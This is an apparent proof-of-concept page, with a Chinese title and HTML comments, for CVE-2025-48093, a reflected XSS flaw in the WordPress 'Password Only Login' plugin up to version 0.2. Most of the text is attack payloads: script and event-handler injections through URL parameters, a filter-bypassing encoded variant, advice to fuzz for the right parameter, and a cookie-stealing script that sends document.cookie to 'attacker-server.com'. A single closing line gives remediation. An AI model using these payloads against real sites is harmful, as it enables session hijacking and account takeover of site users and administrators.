CVE-2025-48093：WordPress Password Only Login插件反射型XSS漏洞

<!-- PoC for CVE-2025-48093: Reflected XSS in WordPress Password Only Login Plugin Vulnerable versions: <= 0.2 The vulnerability exists due to improper input neutralization in the plugin's web page generation. Malicious payloads injected via URL parameters are reflected back in the response without proper sanitization. --> <!-- Example 1: Basic XSS payload via URL parameter --> <!-- Malicious URL structure: http://target-site.com/?password-only-login-param=<script>alert('XSS')</script> The exact parameter name depends on the plugin's implementation. --> <!-- Example 2: Cookie stealing payload --> <script> var img = new Image(); img.src = "http://attacker-server.com/steal?cookie=" + document.cookie; </script> <!-- Example 3: URL-encoded payload to bypass basic filters --> <!-- http://target-site.com/?param=%3Cscript%3Ealert(document.domain)%3C/script%3E --> <!-- Example 4: Using event handlers as alternative XSS vector --> <img src=x onerror=alert(document.cookie)> <!-- Example 5: Full exploitation URL example --> <!-- http://vulnerable-wordpress-site.com/wp-admin/?[vulnerable_param]=<svg/onload=alert(document.cookie)> Note: The actual parameter and endpoint should be identified through fuzzing the plugin's functionality. Common vectors include search fields, login form inputs, or redirect parameters handled by the password-only-login plugin. --> <!-- Remediation: Update the Password only login plugin to a version newer than 0.2. The vendor has addressed this issue by properly sanitizing and escaping user inputs before rendering them in the web page. -->